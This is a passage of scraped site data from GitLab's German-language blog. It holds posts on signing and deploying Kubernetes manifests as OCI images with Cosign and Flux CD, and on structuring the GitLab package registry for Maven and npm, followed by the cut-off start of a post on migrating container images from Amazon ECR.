der Quelle ab.\n- Software-Agents überwachen [kontinuierlich](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#continuous) den tatsächlichen Systemzustand und [versuchen, den gewünschten Zustand anzuwenden](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#reconciliation).\n\nEin Beispiel für GitOps ist das Speichern der Kubernetes-Manifeste für einen Microservice in einem GitLab-Projekt. Diese Kubernetes-Ressourcen werden dann kontinuierlich von einem [Controller](https://kubernetes.io/de/docs/concepts/architecture/controller/) abgeglichen, der auf dem Kubernetes-Cluster ausgeführt wird, auf dem der Microservice bereitgestellt ist. So können Entwickler(innen) die Infrastruktur mit denselben Workflows verwalten wie bei ihrer Arbeit mit regulärem Code, z. B. durch das Erstellen von Merge Requests, um Änderungen vorzunehmen und zu überprüfen, und durch die Versionsverwaltung von Änderungen. GitOps hat auch betriebliche Vorteile, wie z. B. die [Verhinderung von Konfigurationsdrift](https://about.gitlab.com/de-de/topics/gitops/#cicd) und es hilft Entwickler(inne)n bei der Prüfung, welche Änderungen bei der Bereitstellung zu bestimmten Ergebnissen geführt haben.\n\n## Vorteile und Einschränkungen von Git in GitOps-Workflows\n\nGit ist zwar ein wesentlicher Bestandteil von GitOps-Workflows, aber Git-Repositories wurden nicht für die Bereitstellung durch GitOps-Controller entwickelt. Entwickler(innen) können dank Git bei Infrastrukturänderungen zusammenarbeiten und diese Änderungen später überprüfen. Controller müssen jedoch nicht das gesamte Git-Repository herunterladen, um eine erfolgreiche Bereitstellung zu gewährleisten. GitOps-Controller benötigen lediglich die Infrastruktur, die für eine bestimmte Umgebung definiert ist. \n\nDarüber hinaus ist ein wichtiger Bestandteil des Bereitstellungsprozesses das [Signieren und Verifizieren von Bereitstellungen](https://docs.sigstore.dev/about/overview/#why-cryptographic-signing), um sicherzustellen, dass Bereitstellungsänderungen an einer Umgebung aus einer vertrauenswürdigen Quelle stammen. Git-Commits können zwar von GitOps-Controllern signiert und verifiziert werden, aber Commits können auch andere Details erfassen, die nicht mit der Bereitstellung selbst zusammenhängen (z. B. Dokumentationsänderungen, Aktualisierungen anderer Umgebungen und Umstrukturierungen des Git-Repositorys), oder nicht genug vom Bereitstellungsbild, da eine Bereitstellung aus mehreren Commits bestehen kann. Auch hier scheint es sich um einen Fall zu handeln, für den diese Git-Funktion nicht entwickelt wurde.  \n\nEin weiterer herausfordernder Aspekt von Git in GitOps-Workflows ist, dass es manchmal zu mehr Automatisierung als erwartet führen kann. Kurz nach der Zusammenführung wird eine Änderung am beobachteten Branch vorgenommen und dann bereitgestellt. Außerhalb von Git gibt es keine Kontrollen im Prozess. Wie kannst du sicherstellen, dass an einem Freitagnachmittag nichts bereitgestellt wird? Was ist, wenn die für die Bereitstellung verantwortlichen Teams nicht berechtigt sind, in bestimmten GitLab-Projekten Änderungen zusammenzuführen? Durch die Verwendung von OCI-Images wird eine Pipeline in den Prozess eingefügt, die alle Funktionen zur Bereitstellungsteuerung umfasst, wie z. B. [Approvals oder Bereitstellungsstopps (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n## OCI-Images\n\nDie [Open Container Initiative](https://opencontainers.org/) hat dazu beigetragen, Standards für Containerformate zu definieren. Während die meisten Entwickler(innen) mit dem Einbinden von Dockerfiles in Container-Images vertraut sind, sind viele möglicherweise nicht so erfahren im Speichern von Kubernetes-Manifesten in einer Container-Registry. Da die [Container-Registry von GitLab (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/packages/container_registry/) OCI-konform ist, können Benutzer(innen) Kubernetes-Manifeste für eine bestimmte Umgebung in eine Container-Registry übertragen. GitOps-Controller, wie z. B. [Flux CD (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/), können die in diesem OCI-Artefakt gespeicherten Manifeste verwenden, anstatt ein ganzes Git-Repository klonen zu müssen. \n\nIn GitOps-Workflows kann ein Git-Repository oft die Infrastrukturdefinitionen für alle Umgebungen enthalten, in denen ein Microservice bereitgestellt wird. Indem die Kubernetes-Manifeste nur für eine bestimmte Umgebung paketiert werden, muss Flux CD nur genau die Dateien herunterladen, die für die Bereitstellung in einer bestimmten Umgebung erforderlich sind. \n\n### Sicherheitsvorteile der Verwendung von OCI-Artefakten\n\nWie bereits erwähnt, bietet das Signieren und Verifizieren der Artefakte, die in einer Umgebung bereitgestellt werden sollen, eine zusätzliche Sicherheitsebene für Softwareprojekte. Nachdem Kubernetes-Manifeste an eine Container-Registry gepusht wurden, kann ein Tool wie [Sigstore Cosign](https://docs.sigstore.dev/quickstart/quickstart-cosign/) verwendet werden, um das OCI-Image mit einem privaten Schlüssel zu signieren, der sicher in einem GitLab-Projekt als [CI/CD-Variable (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/variables/) gespeichert werden kann. Flux CD kann dann einen öffentlichen Schlüssel verwenden, der auf einem Kubernetes-Cluster gespeichert ist, um zu überprüfen, ob eine Bereitstellung von einer vertrauenswürdigen Quelle stammt. \n\n## Verwenden von GitLab zum Pushen und Signieren von OCI-Images \n\nGitLab bietet viele Funktionen, die den Prozess des Paketierens, Signierens und der Bereitstellung von OCI-Images vereinfachen. Eine gängige Methode zur Strukturierung von GitLab-Projekten mit GitOps-Workflows besteht darin, separate GitLab-Projekte für den Code der Microservices und ein einziges Infrastruktur-Repository für alle Microservices zu verwenden. Wenn eine Anwendung aus `n`-Microservices besteht, wären für eine Anwendung `n+1`-GitLab-Projekte erforderlich.\n\nDas Artefakt, das aus einem Programmierprojekt hervorgeht, ist in der Regel ein Container-Image, das zum Paketieren der Anwendung verwendet wird. Das Infrastruktur- oder Bereitstellungsprojekt enthält die Kubernetes-Manifeste, in denen alle Ressourcen definiert sind, die für die Skalierung und die Bereitstellung des Datenverkehrs für jeden Microservice erforderlich sind. Das Artefakt, das aus diesem Projekt hervorgeht, ist in der Regel ein OCI-Image, das zur Bereitstellung der Anwendung und anderer Manifeste für Kubernetes verwendet wird. \n\nIn diesem Setup wird die Trennung von Umgebungen durch die Definition von Kubernetes-Manifesten in separaten Ordnern gehandhabt. Diese Ordner stellen Umgebungen (z. B. Entwicklung, Staging und Produktion) dar, in denen die Anwendung gehostet wird. Wenn Änderungen am Codeprojekt vorgenommen und ein neues Container-Image gepusht wird, müssen zur Bereitstellung dieser Änderungen über die Integration von GitLab mit Flux CD lediglich die Manifeste im Ordner „Environment“ bearbeitet werden, um die neue Image-Referenz aufzunehmen, und ein „Merge Request“ geöffnet werden. Sobald dieser Merge Request überprüft, genehmigt und zusammengeführt wurde, wird der CI/CD-Job des Bereitstellungsprojekts ein neues OCI-Image pushen, das Flux CD aufnimmt und in der neuen Umgebung bereitstellt.\n\n![OCI-Images – Flowchart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097611/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097611046.png)\n\nDas Signieren eines OCI-Image ist so einfach wie das Einfügen von Cosign in den CI/CD-Job deines Projekts. Du kannst einfach einen neuen öffentlichen und privaten Schlüssel mit Cosign generieren, indem du die folgenden Befehle lokal ausführst. Stelle einfach sicher, dass du dich mit der [glab-CLI](https://gitlab.com/gitlab-org/cli/#installation) bei deiner GitLab-Instanz anmeldest und die [`PROJECT_ID`] für den Befehl „cosign“ durch die [ID deines Bereitstellungsprojekts](https://docs.gitlab.com/ee/user/project/working_with_projects.html#access-a-project-by-using-the-project-id) ersetzt.   \n\n```\nglab auth login\ncosign generate-key-pair gitlab://[PROJECT_ID]\n```\n\nSobald der Befehl „cosign“ erfolgreich ausgeführt wurde, findest du die zu deinem Projekt hinzugefügten Cosign-Schlüssel im Abschnitt „CI/CD-Variablen“ unter den Schlüsselnamen `COSIGN_PUBLIC_KEY` und `COSIGN_PRIVATE_KEY`.\n\n### Beispiel für einen CI/CD-Job\n\nEin GitLab-CI/CD-Job zum Pushen eines OCI-Images sieht in etwa so aus:\n\n```yaml\nfrontend-deploy:\n  rules:\n  - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    changes:\n      paths: \n      - manifests/dev/frontend-dev.yaml\n  trigger:\n    include:\n      - component: gitlab.com/components/fluxcd/oci-artifact@0.3.1\n        inputs:\n          version: 0.3.1\n          kubernetes_agent_reference: gitlab-da/projects/tanuki-bank/flux-config:dev\n          registry_image_url: \"oci://$CI_REGISTRY_IMAGE/frontend\"\n          image_tag: dev\n          manifest_path: ./manifests/dev/frontend-dev.yaml\n          flux_oci_repo_name: frontend\n          flux_oci_namespace_name: frontend-dev\n          signing_private_key: \"$COSIGN_PRIVATE_KEY\" \n```\n\nDer [GitLab-CI/CD-Katalog (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) bietet eine von GitLab gepflegte [CI/CD-Komponente für die Arbeit mit OCI-Artefakten und Flux CD](https://gitlab.com/explore/catalog/components/fluxcd). Mit dieser Komponente können Entwicklungsteams Kubernetes-Manifeste als OCI-Images an die Container-Registry von GitLab oder eine externe Container-Registry senden, das OCI-Image mit Cosign signieren und das neu gepushte Image sofort über Flux CD abgleichen. \n\nIm obigen Beispiel ist die Flux CD `component` in einer `.gitlab-ci.yml`-Datei eines GitLab-Projekts enthalten. Mithilfe der `inputs` der Komponente können Benutzer(innen) definieren, in welche Registry das Image gepusht werden soll (d. h. `registry_image_url` und `image tag`), den Dateipfad zu den Kubernetes-Manifesten, die gepusht werden sollen (d. h. `manifest_path`), den privaten Cosign-Schlüssel, der zum Signieren von Images verwendet wird (d. h. `signing_private_key`), sowie den Kubernetes-Namensraum und den Namen des Flux-CD-[OCIRepository](https://fluxcd.io/flux/components/source/ocirepositories/), der für die Synchronisierung von Aktualisierungen in einer Umgebung benötigt wird (d. h. `flux_oci_namespace_name` und `flux_oci_repo_name`).\n\nMit der `kubernetes_agent_reference` können GitLab-CI/CD-Jobs das für den Zugriff auf einen Kubernetes-Cluster erforderliche `kubeconfig` erben, ohne dass in jedem GitLab-Projekt eine `kubeconfig`-CI/CD-Variable gespeichert werden muss. Durch die Einrichtung des [GitLab Agent for Kubernetes (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/clusters/agent/) können die CI/CD-Jobs aller GitLab-Projekte in einer [GitLab-Gruppe (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/group/) konfiguriert werden, um Berechtigungen für die Bereitstellung im Kubernetes-Cluster zu erben. \n\nDer Agent für den Kubernetes-Kontext wird normalerweise überall dort konfiguriert, wo du den GitLab Agent for Kubernetes in deiner GitLab-Gruppe konfigurierst. Das solltest du in der Regel in dem Projekt zu tun, in dem Flux CD verwaltet wird. Weitere Informationen zur Konfiguration des Agents für den CI/CD-Zugriff findest du in unserer [CI/CD-Workflow-Dokumentation (nur in englischer Sprache verfügbar)]( https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html).\n\nDie Variablen `$COSIGN_PRIVATE_KEY`, `$FLUX_OCI_REPO_NAME` und `$FRONTEND_DEV_NAMESPACE` sind Werte, die als CI/CD-Variablen gespeichert werden, um den Zugriff auf diese vertraulichen Daten in CI/CD-Protokollen zu erleichtern und sie zu maskieren. `$CI_REGISTRY_IMAGE` ist eine Variable, die standardmäßig in GitLab-Jobs verfügbar ist und die Container-Registry des GitLab-Projekts angibt. \n\n### Bereitstellen von OCI-Images\n\nWenn du [Flux CD mit deinen GitLab-Projekten (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/clusters/agent/gitops/flux_tutorial.html) verwendest, kannst du die Bereitstellung und Signaturprüfung für die Umgebungen deiner Microservices automatisieren. Sobald Flux CD für die Synchronisierung von einem GitLab-Projekt konfiguriert ist, kannst du die folgenden [benutzerdefinierten Ressourcendefinitionen](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) von Kubernetes zu deinem Projekt hinzufügen, um dein gepushtes OCI-Image zu synchronisieren. \n\n```yaml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: frontend-dev\n  labels:\n    name: frontend-dev\n---\napiVersion: bitnami.com/v1alpha1\nkind: SealedSecret\nmetadata:\n  name: cosign-public-key\n  namespace: frontend-dev\nspec:\n  encryptedData:\n    cosign.pub: AgAKgLf4VbVzJOmr6++k81LlFayx88AELaUQFNOaXmBF4G+fBfBYeABl0skNvMAa1UrPVNSfMIHgFoYHoO96g576a+epk6V6glOI+++XvYbfsygof3GGxe0nL5Qh2b3ge0fNpyd0kTPSjTj0YUhRhKtMGMRSRw1jrwhNcGxCHK+Byibs52v8Np49KsIkeZKbzLdgYABkrv+k0j7hQM+jR180NpG+2UiRvaXpPuogxkbj61FEqWGrJHk8IVyfl3eh+YhoXxOHGDqko6SUC+bUZPDBlU6yKegO0/8Zq3hwulrSEsEjzRZNK+RFVMOLWWuC6h+WGpYhAMcsZPwjjJ/y29KLNa/YeqkN/cdk488QyEFc6ehCxzhH67HxIn2PDa+KkEOTv2TuycGF+Q00jKIizXF+IwLx/oRb3pTCF0AoAY8D8N3Ey+KfkOjsBON7gGID8GbQiJqX2IgIZxFMk0JRzxbRKOEqn+guLd5Shj7CD1a1Mkk0DxBdbqrGv2XNYUaFPI7xd3rZXUJZlnv+fsmwswsiGWRuXwim45HScWzQnfgLAe7tv3spVEGeaO5apl6d89uN21PBQnfE/zyugB//7ZW9tSp6+CSMyc5HynxI8diafqiwKPgvzLmVWRnkvxJijoXicRr3sCo5RudZPSlnjfd7CKdhwEVvLl7dRR4e/XBMdxCzk1p52Pl+3/kJR+LJii5+iwOpYrpVltSZdzc/3qRd19yMpc9PWpXYi7HxTb24EOQ25i21eDJY1ceplDN6bRtop2quzkjlwVeE2i4cEsX/YG8QBtQbop/3fjiAjKaED3QH3Ul0PECS9ARTScSkcOL3I00Xpp8DyD+xH0/i9wCBRDmH3yKX18C8VrMq02ALSnlP7WCVVjCPzubqKx2LPZRxK9EG0fylwv/vWQzTUUwfbPQZsd4c75bSTsTvxqp/UcFaXA==\n  template:\n    metadata:\n      name: cosign-public-key\n      namespace: frontend-dev\n---\napiVersion: source.toolkit.fluxcd.io/v1beta2\nkind: OCIRepository\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    url: oci://registry.gitlab.com/gitlab-da/projects/tanuki-bank/tanuki-bank-delivery/frontend\n    ref:\n        tag: dev\n    verify:\n      provider: cosign\n      secretRef:\n        name: cosign-public-key\n---\napiVersion: kustomize.toolkit.fluxcd.io/v1\nkind: Kustomization\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    targetNamespace: frontend-dev\n    path: \".\"\n    sourceRef:\n        kind: OCIRepository\n        name: frontend\n    prune: true\n``` \n\nMit der Ressource [`Kustomization`](https://fluxcd.io/flux/components/kustomize/kustomizations/) können Kubernetes-Manifeste weiter angepasst werden und sie gibt auch an, in welchem Namensraum Ressourcen bereitgestellt werden sollen. Die Ressource `OCIRepository` für Flux CD ermöglicht es Benutzer(inne)n, die OCI-Image-Repositoryreferenz und das Tag anzugeben, von dem regelmäßig synchronisiert werden soll. Außerdem wirst du die Eigenschaften `verify.provider` und `verify.secretRef` bemerken. Anhand dieser Felder kannst du überprüfen, ob das für den Cluster bereitgestellte OCI-Image mit dem entsprechenden privaten Cosign-Schlüssel signiert wurde, der im früheren CI/CD-Job verwendet wurde. \n\nDer öffentliche Schlüssel muss in einem [Kubernetes-Geheimnis](https://kubernetes.io/docs/concepts/configuration/secret/) gespeichert werden, das sich im selben Namensraum wie die Ressource `OCIRepository` befinden muss. Damit Flux CD dieses Geheimnis verwaltet und es nicht im Klartext gespeichert wird, kannst du [SealedSecrets](https://fluxcd.io/flux/guides/sealed-secrets/) verwenden, um den Wert zu verschlüsseln und ihn cluster-seitig von einem Controller entschlüsseln zu lassen. \n\nEine einfachere Methode, für die SealedSecrets nicht erforderlich ist, ist die [Bereitstellung des Geheimnisses über einen GitLab-CI/CD-Job (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/clusters/agent/getting_started_deployments.html) mit der [`kubectl CLI`](https://kubernetes.io/docs/reference/kubectl/). Bei der Variante ohne SealedSecret entfernst du einfach das oben enthaltene SealedSecret und führst den Job zur Bereitstellung des öffentlichen Geheimnis-Schlüssels aus, bevor du den Job zum Pushen des neuen OCI-Images ausführst. Dadurch wird sichergestellt, dass das Geheimnis sicher in GitLab gespeichert ist und dass es im Cluster vom OCIRepository abgerufen werden kann. Dieser Ansatz ist etwas einfacher, aber nicht für die Verwaltung von Geheimnissen in der Produktion geeignet. \n\n## Die Vorteile von OCI, GitLab und GitOps\n\nMit OCI-Artefakten (Oracle Cloud Infrastructure) können GitOps-Teams Bereitstellungen noch weiter optimieren. Sie bieten zusätzliche Sicherheitsvorteile und ermöglichen minimale Bereitstellungen. Benutzer(innen) profitieren weiterhin von allen Vorteilen, die Git bietet, insbesondere von einer zuverlässigen Datenquelle für die Infrastruktur und der Zusammenarbeit an Projekten. OCI-Images erweitern den Bereitstellungsansatz von GitOps um einen Paketierungsansatz.\n\nBei GitLab lernen wir kontinuierlich von unseren Kund(inn)en und der Cloud-nativen Community, um Erfahrungen zu sammeln, die zur Vereinfachung von GitOps-Workflows beitragen. Einige der in diesem Blogbeitrag erwähnten Funktionen kannst du nutzen, indem du dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) anmeldest. Wir freuen uns auch über Erfahrungsberichte von Benutzer(inne)n dieser Tools. Feedback kannst du im [Community-Forum](https://forum.gitlab.com/t/oci-images-as-source-of-truth-for-gitops-with-gitlab/120965) abgeben.\n",[110,913,2094,537,849,767],"kubernetes",{"slug":2096,"featured":6,"template":682},"how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","content:de-de:blog:how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","How To Use Oci Images As The Source Of Truth For Continuous Delivery","de-de/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","de-de/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"_path":2102,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2103,"content":2109,"config":2115,"_id":2117,"_type":16,"title":2118,"_source":17,"_file":2119,"_stem":2120,"_extension":20},"/de-de/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"title":2104,"description":2105,"ogTitle":2104,"ogDescription":2105,"noIndex":6,"ogImage":2106,"ogUrl":2107,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2107,"schema":2108},"Strukturierung der GitLab-Paket-Registry für Unternehmen","Wie du projektbasierte Modelle zur Veröffentlichung von Softwarepaketen von GitLab mit Nutzung auf Root-Gruppen-Ebene kombinierst, um eine Strategie für Paketverwaltung aufzubauen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662332/Blog/Hero%20Images/blog-image-template-1800x945__23_.png","https://about.gitlab.com/blog/structuring-the-gitlab-package-registry-for-enterprise-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Strukturierung der GitLab-Paket-Registry für Unternehmen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":2104,"description":2105,"authors":2110,"heroImage":2106,"date":2091,"body":2111,"category":680,"tags":2112,"updatedDate":2114},[1910],"Je größer Unternehmen werden, desto komplexer wird es, interne Pakete zu verwalten. Während herkömmliche Paketmanager wie JFrog Artifactory und Sonatype Nexus ein zentralisiertes Repository nutzen, geht [GitLab](https://about.gitlab.com/de-de/) einen anderen Weg, der der Arbeitsweise moderner Entwicklungsteams besser entspricht. In diesem Beitrag erfährst du, wie du deine GitLab-Paket-Registry auf Unternehmensniveau effektiv strukturierst. Dabie ziehen wir Maven- und npm-Pakete als Beispiele heran.\n\n## Das Modell der GitLab-Paket-Registry verstehen\n\nWenn du bisher einen herkömmlichen Paketmanager verwendet hast, mutet der Ansatz von GitLab vielleicht erst einmal ungewohnt an. Anstatt eines einzigen, zentralisierten Repositorys integriert GitLab die Paketverwaltung direkt in deine bestehende Projekt- und Gruppenstruktur. Das bedeutet Folgendes:\n\n- Teams veröffentlichen Pakete in bestimmten Projekten, in denen sich der Code befindet\n- Teams verwenden Pakete von Root-Gruppen-Registries, die alle untergeordneten Pakete aggregieren\n- Die Zugriffskontrolle wird durch deine bestehenden GitLab-Berechtigungen festgelegt\n\nDieses Modell bietet mehrere Vorteile:\n\n- Klare Inhaberschaft von Paketen neben deren Quellcode\n- Granulare Zugriffskontrolle ohne zusätzliche Konfiguration\n- Vereinfachte CI/CD-Integration\n- Natürliche Anpassung an die Teamstrukturen\n- Eine einzige URL für alle Pakete des Unternehmens durch Root-Gruppen-Nutzung\n\n### Die Vorteile der Paket-Registry auf Root-Gruppen-Ebene\n\nGitLab unterstützt zwar die Paketnutzung auf verschiedenen Gruppenebenen, aber die Root-Gruppen-Ebene hat sich bei unseren Benutzer(inne)n als bewährte Vorgehensweise etabliert. Das liegt an folgenden Gründen:\n\n- **Einziger Zugriffspunkt:** Eine URL bietet Zugriff auf alle privaten Pakete im gesamten Unternehmen\n- **Konsistente Benennung von Paketen:** Mit Endpunkten auf Gruppenebene können Teams ihre bevorzugten Benennungskonventionen ohne Konflikte weiter nutzen\n- **Vereinfachte Konfiguration:** Alle Entwickler(innen) können dieselbe Konfiguration nutzen, um auf Pakete zuzugreifen\n- **Sicheres Zugriffsmanagement:** Kombiniert mit Bereitstellungstokens für einfache Rotation und Zugriffskontrolle\n- **Hierarchische Organisation**: Bildet deine Unternehmensstrukturen natürlich ab und bietet gleichzeitig vereinheitlichten Zugriff\n\n## Praxisbeispiel: Unternehmensstruktur\n\nSehen wir uns am Beispiel eines größeren Unternehmens an, wie das Ganze in der Praxis aussehen kann:\n\n```\ncompany/ (root group)\n├── retail-division/\n│   ├── shared-libraries/     # Division-specific shared code\n│   └── teams/\n│       ├── checkout/        # Team publishes packages here\n│       └── inventory/       # Team publishes packages here\n├── banking-division/\n│   ├── shared-libraries/    # Division-specific shared code\n│   └── teams/\n│       ├── payments/       # Team publishes packages here\n│       └── fraud/         # Team publishes packages here\n└── shared-platform/        # Enterprise-wide shared code\n    ├── java-commons/      # Shared Java libraries\n    └── ui-components/     # Shared UI components\n```\n\n### Veröffentlichungskonfiguration\n\nTeams veröffentlichen Pakete in ihre jeweiligen Projekt-Registries und behalten dabei eine klare Inhaberschaft bei:\n\n1. Beispiel: Maven\n\n```xml\n\u003C!-- checkout/pom.xml -->\n\u003CdistributionManagement>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/distributionManagement>\n```\n\n2. Beispiel: npm\n\n```json\n// ui-components/package.json\n{\n  \"name\": \"@company/ui-components\",\n  \"publishConfig\": {\n    \"registry\": \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/\"\n  }\n}\n```\n\n### Nutzungskonfiguration\n\nHier zeigt sich wirklich, wie vorteilhaft die Nutzung in der Root-Gruppe ist. Alle Teams konfigurieren einen einzigen Endpunkt für den Paketzugriff:\n\n1. Beispiel: Maven\n\n```xml\n\u003C!-- Any project's pom.xml -->\n\u003Crepositories>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>https://gitlab.example.com/api/v4/groups/company/-/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/repositories>\n```\n\n2. Beispiel: npm\n\n```\n# Any project's .npmrc\n@company:registry=https://gitlab.example.com/api/v4/groups/company/-/packages/npm/\n```\n\nDiese Konfiguration bietet automatisch Zugriff auf alle Pakete in deine Unternehmen und gleichzeitig alle Vorteile der projektbasierten Veröffentlichung.\n\n## Authentifizierung und Zugriffskontrolle\n\nDas Modell von GitLab vereinfacht die Authentifizierung durch Bereitstellungstoken und CI/CD-Integration.\n\n### Für CI/CD-Pipelines\n\nGitLab übernimmt automatisch die Authentifizierung mit `CI_JOB_TOKEN`:\n\n```yaml\n# .gitlab-ci.yml\npublish:\n  script:\n    - mvn deploy  # or npm publish\n  # CI_JOB_TOKEN provides automatic authentication\n```\n\n### Für die Entwicklung\n\nNutze Gruppen-Bereitstellungstoken für die Paketnutzung:\n\n- Erstelle auf Root-Gruppen-Ebene Bereitstellungstoken mit Lesezugriff\n- Rotiere Tokens aus Sicherheitsgründen in regelmäßigen Abständen\n- Teile eine einzige Konfiguration für alle Entwickler(innen)\n\n## Vorteile eines Root-Gruppen-Paket-Registrys:\n\n1. Vereinfachte Konfiguration\n   - Eine URL für den gesamten Paketzugriff\n   - Konsistente Einrichtung für alle Teams\n   - Einfache Rotation von Tokens\n2. Klare Inhaberschaft\n   - Pakete bleiben bei ihrem Quellcode\n   - Teams haben Kontrolle über die Veröffentlichung\n   - Der Versionsverlauf korreliert mit der Projektaktivität\n3. Natürliche Organisation\n   - Entspricht deiner Unternehmensstruktur\n   - Fördert die Autonomie der Teams\n   - Ermöglicht teamübergreifende Zusammenarbeit\n\n## Erste Schritte\n\n1. Richte deine Root-Gruppe ein\n   - Erstelle eine klare Gruppenstruktur\n   - Konfiguriere die entsprechenden Zugriffskontrollen\n   - Erstelle Gruppen-Bereitstellungstoken\n2. Konfiguriere Teamprojekte\n   - Richte die Veröffentlichung auf Projektebene ein\n   - Implementiere CI/CD-Pipelines\n   - Dokumentiere die Benennungskonventionen für Pakete\n3. Standardisiere die Nutzung\n   - Konfiguriere den Registry-Zugriff für die Root-Gruppe\n   - Teile Bereitstellungstoken auf sichere Art und Weise\n   - Dokumentiere den Entdeckungsprozess der Pakete\n\n## Zusammenfassung\n\nDas Paket-Registry-Modell von GitLab ist – insbesondere dann, wenn es auf Root-Gruppen-Ebene genutzt wird – eine leistungsstarke Lösung für die Paketverwaltung im Unternehmen. Durch die Kombination aus projektbasierter Veröffentlichung mit Nutzung auf Root-Gruppen-Ebene erhalten Unternehmen das Beste aus beiden Welten: klare Inhaberschaft und vereinfachten Zugriff. Dieser Ansatz lässt sich natürlich mit deinem Unternehmen skalieren, ohne dass Sicherheit und Benutzerfreundlichkeit vernachlässigt werden.\n\nDu kannst dieses Modell zunächst in einzelnen Teams oder Abteilungen einführen und dann ausweiten, wenn dich die Vorteile dieses integrierten Ansatzes überzeugt haben. Auch wenn wir uns in diesem Beitrag auf Maven und npm konzentriert haben, gelten dieselben Prinzipien für alle Pakettypen, die von GitLab unterstützt werden.\n\n> Lege jetzt mit Paket-Registries los! Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) an.\n",[787,767,2113],"solutions architecture","2025-05-13",{"slug":2116,"featured":92,"template":682},"structuring-the-gitlab-package-registry-for-enterprise-scale","content:de-de:blog:structuring-the-gitlab-package-registry-for-enterprise-scale.yml","Structuring The Gitlab Package Registry For Enterprise Scale","de-de/blog/structuring-the-gitlab-package-registry-for-enterprise-scale.yml","de-de/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"_path":2122,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2123,"content":2129,"config":2134,"_id":2136,"_type":16,"title":2137,"_source":17,"_file":2138,"_stem":2139,"_extension":20},"/de-de/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"title":2124,"description":2125,"ogTitle":2124,"ogDescription":2125,"noIndex":6,"ogImage":2126,"ogUrl":2127,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2127,"schema":2128},"Automatisierung der Migration von Container-Images von Amazon ECR zu GitLab","Wenn Plattformteams ihre CI/CD zu GitLab verschieben, sollte die Migration von Container-Images kein Engpass sein. Befolge diese Schritt-für-Schritt-Anleitung, um den Pipeline-Migrationsprozess zu automatisieren.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663129/Blog/Hero%20Images/blog-image-template-1800x945__28_.png","https://about.gitlab.com/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisierung der Migration von Container-Images von Amazon ECR zu GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-13\",\n      }\n                  ",{"title":2124,"description":2125,"authors":2130,"heroImage":2126,"date":2131,"body":2132,"category":847,"tags":2133,"updatedDate":1793},[1910],"2025-02-13","„Wir müssen Hunderte von Container-Images von Amazon Elastic Container Registry (ECR) zu GitLab migrieren. Könnt ihr uns helfen?“ Diese Frage taucht immer wieder in Gesprächen mit Platform Engineers auf. Sie modernisierten also ihre DevSecOps-Toolchain mit GitLab, kamen aber beim Verschieben ihrer Container-Images nicht weiter. Während ein einzelner Image-Transfer einfach ist, erscheint das schiere Volumen überwältigend.\n\nEin Platform Engineer brachte es auf den Punkt: „Ich weiß genau, was zu tun ist – pullen, neu kennzeichnen, pushen. Aber ich habe 200 Microservices mit jeweils mehreren Tags. Ich kann es nicht rechtfertigen, Wochen für diese Migration aufzuwenden, während wichtige Infrastrukturarbeiten anstehen.“\n\n## Die Herausforderung\n\nDieses Gespräch führte zu einer Idee. Was wäre, wenn wir den gesamten Prozess automatisieren könnten? Wenn Plattformteams ihre [CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/) zu GitLab verschieben, sollte die Migration von Container-Images kein Engpass sein. Der manuelle Prozess ist einfach, aber repetitiv: Jedes Image pullen, neu kennzeichnen und in die Container-Registry von GitLab pushen. Angesichts dutzender Repositories und mehrerer Tags pro Image, bedeutet dies Tage oder Wochen langwieriger 